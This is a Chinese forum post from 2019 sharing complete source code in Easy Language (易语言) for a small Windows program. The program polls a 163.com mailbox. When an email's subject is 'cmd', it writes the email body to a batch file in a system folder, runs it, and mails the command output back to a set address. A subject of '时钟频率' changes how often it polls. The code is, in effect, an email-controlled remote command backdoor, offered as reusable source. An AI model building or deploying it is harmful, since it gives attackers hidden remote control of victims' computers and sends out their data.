|
分享源码
界面截图: |
- |
是否带模块: |
纯源码 |
备注说明: |
- |
本帖最后由 yppy988 于 2019-7-5 17:35 编辑
[e]
.版本 2
.支持库 internet
.支持库 pop3
.支持库 shell
.程序集 窗口程序集_启动窗口
.程序集变量 执行命令, 文本型
.子程序 __启动窗口_创建完毕
连接发信服务器 (“smtp.163.com”, , “邮箱用户名”, “邮箱密码”, )
.子程序 _时钟_循环检测_周期事件
.局部变量 邮件数, 整数型
.局部变量 邮件大小, 整数型
.局部变量 info, 邮件信息
连接收信服务器 (“pop.163.com”, 110, “邮箱用户名”, “邮箱密码”, 30000, 3)
获取邮件信息 (邮件数, 邮件大小)
info = 接收邮件 (邮件数)
.如果真 (info.取主题 () = “时钟频率”)
时钟_循环检测.时钟周期 = 到数值 (info.取文本内容 ())
返回 ()
.如果真结束
.如果真 (info.取文本内容 () ≠ 执行命令)
.如果真 (info.取主题 () = “cmd” 或 info.取主题 () = “CMD”)
执行命令 = info.取文本内容 ()
发送结果 ()
.如果真结束
.如果真结束
断开收信服务器 ()
.子程序 发送结果
.局部变量 返回信息, 文本型
删除文件 (取特定目录 (11) + “yccmd.txt”)
写到文件 (取特定目录 (11) + “yccmd.bat”, 到字节集 (执行命令 + “>>” + 取特定目录 (11) + “yccmd.txt”))
运行 (取特定目录 (11) + “yccmd.bat”, 真, 1)
发送邮件 (“返回信息”, 到文本 (读入文件 (取特定目录 (11) + “yccmd.txt”)), “接受返回信息邮箱地址”, , , “邮箱用户名@163.com”, )
[/e]
|
|